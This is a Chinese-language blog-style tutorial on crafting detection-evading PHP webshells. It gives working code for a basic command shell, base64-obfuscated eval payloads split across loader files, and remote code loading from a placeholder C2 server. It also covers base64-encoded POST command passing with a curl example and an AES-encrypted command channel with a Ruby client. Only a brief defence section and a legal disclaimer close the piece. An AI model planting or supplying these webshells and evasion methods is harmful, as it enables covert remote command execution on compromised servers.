一、从防御视角到攻击思维
Webshell 是攻击者长久以来在 Web 渗透中使用的重要武器,而针对 Webshell 检测和防御的技术也在不断演进。从传统的特征检测到基于行为的 AI 模型,防御方在不断加码。然而,反过来思考,防御的强势驱使攻击者不得不进化出更高超的技术,Webshell 的免杀技术便是其中的重要方向。
如果我要绕过现代的 WAF(Web 应用防火墙)和 EDR(端点检测响应系统)来植入 Webshell,我会从以下几个方面入手:特征混淆、动态加载、文件伪装、协议伪装、代码生成功能 等方式逐步增强 Webshell 的隐匿性。本文将从攻击的完整链路,详细讲解如何构造高隐匿性的 Webshell 并实现免杀。
二、环境搭建:做实验前的准备工作
要想研究 Webshell 绕过技术,首先需要搭建一套对抗环境。这套环境既要包含常见的检测系统,也要便于我们模拟攻击过程。

环境清单
- 目标服务器:一台运行 Apache 或 Nginx 的 Web 服务,可以搭建在本地,也可以使用云服务器。
- WAF 防护:部署开源的 ModSecurity 或商业 WAF(如阿里云云盾)。
- 检测工具:主要使用 YARA 规则检测 Webshell 文件特征。
- 攻击工具:支持 Ruby 和 Shell 脚本调试(推荐 Kali Linux 环境)。
- 语言支持:目标服务器需要支持 PHP 或其他动态语言(如 ASP、JSP)。
<pre><code class="language-shell"># 在 Ubuntu 环境中快速安装 Apache 和 PHP sudo apt update sudo apt install apache2 php libapache2-mod-php sudo systemctl enable apache2 sudo systemctl start apache2</code></pre>
测试方法验证
确认环境搭建完成后,我们需要部署一个简单的 Webshell,验证是否能够被访问以及是否能够触发 WAF 或检测工具的告警。例如,上传一个经典的 PHP Webshell:
<pre><code class="language-php"><?php if (isset($_GET['cmd'])) { system($_GET['cmd']); } ?></code></pre>
保存为 shell.php 并上传到 Web 目录,然后通过浏览器访问 http://your_server/shell.php?cmd=id。同时打开 WAF 的日志,确认是否记录了拦截信息。
这一过程帮助我们验证目标环境的检测能力,为后续免杀技术的实现提供参考依据。
三、代码伪装与动态加载:避开特征检测
现代防护手段对 Webshell 的特征检测主要依赖于两点:静态特征 和 行为特征。静态特征基于文件的固定代码模式或关键字,而行为特征关注 Webshell 的执行过程,例如远程命令执行、文件上传等。
静态免杀:代码混淆与分离
直接上传一个经典 Webshell 文件极易被静态规则拦截,因此我们需要对代码进行混淆和分离处理。
以下是一个简单的 PHP Webshell 混淆示例:

<pre><code class="language-php"><?php $cmd = base64_decode("ZWNobyBzeXN0ZW0oJ2lkJyk7"); // 解码后是 system('id'); eval($cmd); ?></code></pre>
通过将命令写入 Base64 编码后再调用 eval 执行,能有效绕过部分基于特征字符串的检测。同时,进一步应用分离技术,将核心代码分散到多个文件或模块中。例如:
loader.php负责加载核心逻辑。core.php存储实际执行的代码。

<pre><code class="language-php">// loader.php include('core.php'); run_payload();</code></pre>
<pre><code class="language-php">// core.php function run_payload() { eval(base64_decode("ZWNobyBzeXN0ZW0oJ2lkJyk7")); // 解码后是 system('id'); }</code></pre>
动态免杀:临时加载代码
为了降低文件落地带来的风险,可以将 Webshell 的核心代码以动态方式从内存中加载。例如:
<pre><code class="language-php"><?php $content = file_get_contents('http://your_c2_server/payload.txt'); // 从远程服务器加载 eval($content); // 直接执行动态代码 ?></code></pre>
这种方法的关键在于隐藏远程服务器的真实地址,例如通过 CDN 或中转代理进一步伪装。
四、多层伪装与协议对抗:与 WAF 的较量
现代 WAF 能够检测命令执行行为,其核心是通过分析 HTTP 请求中的参数。所以我们需要设计一种方式,既能传递命令又不触发告警。
使用无害参数传递命令
假设我们需要传递 ls /var/www 这一命令,可以通过以下方式绕过 WAF:
<pre><code class="language-php"><?php if (isset($_POST['action'])) { system(base64_decode($_POST['action'])); // POST 数据使用 Base64 编码传参 } ?></code></pre>
攻击者在发送请求时,可以将命令进行 Base64 编码后作为参数传递:
<pre><code class="language-shell">curl -X POST -d "action=$(echo 'ls /var/www' | base64)" http://your_server/shell.php</code></pre>
WAF 很难判别 Base64 编码后的内容是否包含恶意命令,这使得绕过检测变得更容易。
隐藏通信流量
进一步提升隐匿性,可以通过替代协议或加密通信避免被流量分析。以下是一个使用自定义协议的示例:
<pre><code class="language-php"><?php $data = file_get_contents('php://input'); // 接收 RAW 数据 $cmd = openssl_decrypt($data, 'AES-128-CBC', 'secret_key', 0, 'iviviviviviviviv'); // 解密后执行 system($cmd); ?></code></pre>
攻击者发送请求时需要先对命令进行加密:
<pre><code class="language-ruby">require 'openssl' cipher = OpenSSL::Cipher.new('AES-128-CBC') cipher.encrypt cipher.key = 'secret_key' cipher.iv = 'iviviviviviviviv' encrypted = cipher.update('ls /var/www') + cipher.final</code></pre>
将加密后的数据通过 POST 请求发送到目标 Webshell,即可完成远程命令执行。
五、检测与防御:如何抵御这种攻击
虽然 Webshell 的免杀技术日新月异,但依然有思路可以检测和拦截这些攻击行为。
基于文件的检测
- YARA 规则:通过定义复杂的规则,检测混淆后的代码模式。
- 文件完整性监控:对 Web 目录进行定期扫描,检测新增和修改文件。
基于流量的检测
- 解码分析:捕获 HTTP 请求并尝试解码 Base64、AES 等常见加密格式。
- 行为分析:通过机器学习模型识别异常的流量模式,例如频繁的动态命令执行。
六、我的一些心得体会
在对抗的过程中,我逐渐意识到攻击与防御是一个永恒的博弈。每当防御技术进步,攻击者也会随之调整策略。作为研究者,我们需要不断反思和学习,才能在这场对抗中保持领先。
合法声明:本文中的技术仅限于授权环境下的安全测试,切勿用于非法用途,否则后果自负。